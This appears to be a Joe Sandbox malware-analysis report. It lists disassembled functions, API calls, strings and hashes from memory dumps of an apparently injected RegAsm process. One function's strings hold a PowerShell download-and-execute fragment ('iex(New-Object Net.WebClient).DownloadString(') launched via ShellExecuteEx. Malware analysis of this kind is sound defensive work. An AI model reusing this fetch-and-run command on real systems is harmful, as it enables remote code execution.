Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 18accc8e3828056e07ec4059ceba68b5e3489c4271d87fdda171a0251aee35f4
Instruction ID: 464d3c77354c1be6a5d685b63accdc25350eadcb0df6db44db765803ea41d78d
Opcode Fuzzy Hash: 18accc8e3828056e07ec4059ceba68b5e3489c4271d87fdda171a0251aee35f4
Instruction Fuzzy Hash: 41E08CE2A0211037F614226ABC86DBBB61CDBC6138F080239FE0D82301E94AAD1E55F6

Function 6CA205F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00c34af2054bc6c34e18bef0812cef87a1b8db7f5d2412b2833430d4543ca4a9
Instruction ID: b8dacc3277c49c4ffb8d7b993cbfba4973cebdf4fde73a826103c91cb6516e0e
Opcode Fuzzy Hash: 00c34af2054bc6c34e18bef0812cef87a1b8db7f5d2412b2833430d4543ca4a9
Instruction Fuzzy Hash: B4A14A70A007558FDB14CF29C994A9AFBF1FF48304F58866ED48A97B00E774A989CF90

Function 6CA714A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA714C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA714E2
GetCurrentThreadId.KERNEL32 ref: 6CA71546
InitializeConditionVariable.KERNEL32(?), ref: 6CA715BA
free.MOZGLUE(?), ref: 6CA716B4

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: bb7921174de24ad34bae3ed132aa26952970066c90a3acbe64f1839d00d461c1
Instruction ID: d334890679f0a6c07f460c9bd7ed023af42b3b46e947366ff71377a3dd4fb987
Opcode Fuzzy Hash: bb7921174de24ad34bae3ed132aa26952970066c90a3acbe64f1839d00d461c1
Instruction Fuzzy Hash: 6961F376A007109BDB258F25C990BEE77F5BF89308F04851CEE8A57701DB34E989CBA1

Function 6CA6DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA6DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CA6D38A,?), ref: 6CA6DC6F
free.MOZGLUE(?,?,?,?,?,6CA6D38A,?), ref: 6CA6DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CA6D38A,?), ref: 6CA6DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CA6D38A,?), ref: 6CA6DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CA6D38A,?), ref: 6CA6DD4A

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 26ab368421c85348789e88a235fc4592402e81daef75b053b9b66d29e8c87052
Instruction ID: 00945c1af952336f45a281bb8dc73a2c89f195099ded97ae8a35c9d29c9b6c42
Opcode Fuzzy Hash: 26ab368421c85348789e88a235fc4592402e81daef75b053b9b66d29e8c87052
Instruction Fuzzy Hash: 7A416BB5E00615CFCB04CFAAC98099ABBF6FF89318B654569D945ABB10DB31FC44CB90

Function 0041AD4C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041AD5A

Part of subcall function 0041A97C: __mtinitlocknum.LIBCMT ref: 0041A992
Part of subcall function 0041A97C: __amsg_exit.LIBCMT ref: 0041A99E
Part of subcall function 0041A97C: EnterCriticalSection.KERNEL32(?,?,?,0041A630,0000000E,0042A090,0000000C,0041A5FA), ref: 0041A9A6

DecodePointer.KERNEL32(0042A0D0,00000020,0041AE9D,?,00000001,00000000,?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E), ref: 0041AD96
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A090,0000000C,0041A5FA), ref: 0041ADA7

Part of subcall function 0041B7F5: EncodePointer.KERNEL32(00000000,0041BA52,0042BDB8,00000314,00000000,?,?,?,?,?,0041B0C8,0042BDB8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041B7F7

DecodePointer.KERNEL32(-00000004,?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A090,0000000C,0041A5FA), ref: 0041ADCD
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A090,0000000C,0041A5FA), ref: 0041ADE0
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A090,0000000C,0041A5FA), ref: 0041ADEA

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: cb77c8f26663b753d389b13750b429dfaaa54406b29b0653f19f32e3bf53b593
Instruction ID: 6fffd6e3d1db5a9c5a4b6999176ce23e16b6351fdf67b8a2f65ef9f2441ae444
Opcode Fuzzy Hash: cb77c8f26663b753d389b13750b429dfaaa54406b29b0653f19f32e3bf53b593
Instruction Fuzzy Hash: 663149B09423498FDF109FA9D9442DEBBF1BF48314F14402BD410A6250DBBC48A1CF6A

Function 6CA56590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CA4FA80: GetCurrentThreadId.KERNEL32 ref: 6CA4FA8D
Part of subcall function 6CA4FA80: AcquireSRWLockExclusive.KERNEL32(6CA9F448), ref: 6CA4FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA56727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CA567C8

Part of subcall function 6CA64290: memcpy.VCRUNTIME140(?,?,6CA72003,6CA70AD9,?,6CA70AD9,00000000,?,6CA70AD9,?,00000004,?,6CA71A62,?,6CA72003,?), ref: 6CA642C4

Strings

data, xrefs: 6CA56593

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: dd649d09318ed19746d0411ff28957f07964c6c3c81ba379e535b1c910c76588
Instruction ID: 8e493da34c46bbc074a55cde9f15275b40057e3cd1c76064ece0d58267424059
Opcode Fuzzy Hash: dd649d09318ed19746d0411ff28957f07964c6c3c81ba379e535b1c910c76588
Instruction Fuzzy Hash: 7ED1DF75A053418FD724CF29C851B9AB7E5AFC5308F54892DE18AC7B90EB30A889CB52

Function 0041C3CD Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C3D9

Part of subcall function 0041B95F: __getptd_noexit.LIBCMT ref: 0041B962
Part of subcall function 0041B95F: __amsg_exit.LIBCMT ref: 0041B96F

__amsg_exit.LIBCMT ref: 0041C3F9
__lock.LIBCMT ref: 0041C409
InterlockedDecrement.KERNEL32(?), ref: 0041C426
free.MSVCRT ref: 0041C439
InterlockedIncrement.KERNEL32(0042B558), ref: 0041C451

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 2fdf5c7d4d92f1c4697c24f0328f6c8d5b78f7d6ad19cfbac1087b0e86a654cb
Instruction ID: b6f1b0b65aa188883731c215e63f9ee08ae8599addb4a6f87201d1aa76989acc
Opcode Fuzzy Hash: 2fdf5c7d4d92f1c4697c24f0328f6c8d5b78f7d6ad19cfbac1087b0e86a654cb
Instruction Fuzzy Hash: D3010431A826219BD720AB6A9C857EEB760BB04714F41811BE94463391CB3C68D2CFDE

Function 6CA4D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA1EB57,?,?,?,?,?,?,?,?,?), ref: 6CA4D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA1EB57,?), ref: 6CA4D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA1EB57,?), ref: 6CA4D673
free.MOZGLUE(?), ref: 6CA4D888

Strings

|Enabled, xrefs: 6CA4D81E

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: ff9260262f28bc8d8e1a65a01e95233be884224d5972c7ea4aeb86c31b8c1747
Instruction ID: 7c9ef8e60421254a104c1fe060ca2493f61897fb5963126136e0b5744778f1f4
Opcode Fuzzy Hash: ff9260262f28bc8d8e1a65a01e95233be884224d5972c7ea4aeb86c31b8c1747
Instruction Fuzzy Hash: 6BA1F3B0E043558FDB05CF69C8947EEBBF1AF49318F18815CD889AB741D735A889CBA1

Function 00406A00 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E7A), ref: 00406A69

Strings

zn@, xrefs: 00406B78, 00406C06, 00406C0B, 00406BB5
zn@, xrefs: 00406A0D, 00406A19, 00406A2C, 00406A35, 00406A59, 00406A82, 00406A85, 00406B3F, 00406B51, 00406B5D, 00406B66, 00406BE3, 00406B99, 00406A9A, 00406ABD, 00406AC9, 00406AF1, 00406B21, 00406B33, 00406AFD, 00406B0A, 00406AA6

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: zn@$zn@
API String ID: 1029625771-1156428846
Opcode ID: 25f82b5059035671600d9e83034a035f120b2cca1b3f6827d3773b31035260a8
Instruction ID: c22392a9749b90d4c1c61cacca4cad5c9228f9bc2143d6a913daecdb3f55fa98
Opcode Fuzzy Hash: 25f82b5059035671600d9e83034a035f120b2cca1b3f6827d3773b31035260a8
Instruction Fuzzy Hash: F171D974A00109DFDB04CF48C484BAAB7B2FF88315F158179E84AAF395C739AA91CF95

Function 6CA4F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CA4F480

Part of subcall function 6CA1F100: LoadLibraryW.KERNEL32(shell32,?,6CA8D020), ref: 6CA1F122
Part of subcall function 6CA1F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA1F132

CloseHandle.KERNEL32(00000000), ref: 6CA4F555

Part of subcall function 6CA214B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA21248,6CA21248,?), ref: 6CA214C9
Part of subcall function 6CA214B0: memcpy.VCRUNTIME140(?,6CA21248,00000000,?,6CA21248,?), ref: 6CA214EF

Part of subcall function 6CA1EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA1EEE3

CreateFileW.KERNEL32 ref: 6CA4F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CA4F523

Strings

\oleacc.dll, xrefs: 6CA4F4CB

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: bd4db37366cf213994609aacb008147e59543c0aee1e1af883ca2b3131ab88ac
Instruction ID: 58b855c1b32db1749b89e2e551ec66c778ea8516405e945efdf4859a37bef9e7
Opcode Fuzzy Hash: bd4db37366cf213994609aacb008147e59543c0aee1e1af883ca2b3131ab88ac
Instruction Fuzzy Hash: 8941CF306187519FE724DF29CD84B9AB7F4AF85318F109A1CF69583650EB30E989CB92

Function 00414260 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,01502DB0), ref: 004142BB

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004142E1
lstrcat.KERNEL32(?,?), ref: 00414300
lstrcat.KERNEL32(?,?), ref: 00414314
lstrcat.KERNEL32(?,014F4410), ref: 00414327
lstrcat.KERNEL32(?,?), ref: 0041433B
lstrcat.KERNEL32(?,015026A0), ref: 0041434F

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418830: GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Part of subcall function 00414050: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
Part of subcall function 00414050: HeapAlloc.KERNEL32(00000000), ref: 00414067
Part of subcall function 00414050: wsprintfA.USER32 ref: 00414086
Part of subcall function 00414050: FindFirstFileA.KERNEL32(?,?), ref: 0041409D

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: d8c1e20cca72af30b7890b1d5764c9598a573b686f6efaf05df2e989e4493db3
Instruction ID: 4fb66fc9f0e99d4a69d4435a00fe4e0f35192ff1271240cc59f29c1c24f4a50f
Opcode Fuzzy Hash: d8c1e20cca72af30b7890b1d5764c9598a573b686f6efaf05df2e989e4493db3
Instruction Fuzzy Hash: 663188B290021CA7CB24FBA0DC85EDD773DAB58708F40459EB60596091EE7897C9CFA8

Function 004127A0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

ShellExecuteEx.SHELL32(0000003C), ref: 00412895

Strings

<, xrefs: 00412849
')", xrefs: 004127C3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412814
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 004127D4

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: b9e5163be950e2e45682f6ac200fb0d902bdae7e536cdbb62e7e9a09a965b0a2
Instruction ID: d376e5d026b6a94438bc85289873f11b5c9f1c1e596dc166cf9a62b6ff5812d0
Opcode Fuzzy Hash: b9e5163be950e2e45682f6ac200fb0d902bdae7e536cdbb62e7e9a09a965b0a2
Instruction Fuzzy Hash: 0E412F70D11208AACB14FFA1D896BDDB778AF10318F40411EF41667192EF782AD9CF5A

Function 6CA774A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CA77526
__Init_thread_footer.LIBCMT ref: 6CA77566
__Init_thread_footer.LIBCMT ref: 6CA77597

Strings

kernel32.dll, xrefs: 6CA77557
UnmapViewOfFile2, xrefs: 6CA77552

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 87b26d3d404549ea43ebd099fad880926e6fecfd0a2aa75e34e0bed00be8d275
Instruction ID: 6db78d5976e2915c832da998d9aa583ed7a3cfb474d9c9d49930c7565746e5f3
Opcode Fuzzy Hash: 87b26d3d404549ea43ebd099fad880926e6fecfd0a2aa75e34e0bed00be8d275
Instruction Fuzzy Hash: E821D635710602ABCA298FA9DD16E9933B6FB46724F14852CE80697F40CF70A89786B5

Function 6CA7C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA7C0E9), ref: 6CA7C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CA7C437
FreeLibrary.KERNEL32(?,6CA7C0E9), ref: 6CA7C44C

Strings

NtQueryVirtualMemory, xrefs: 6CA7C431
ntdll.dll, xrefs: 6CA7C413

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

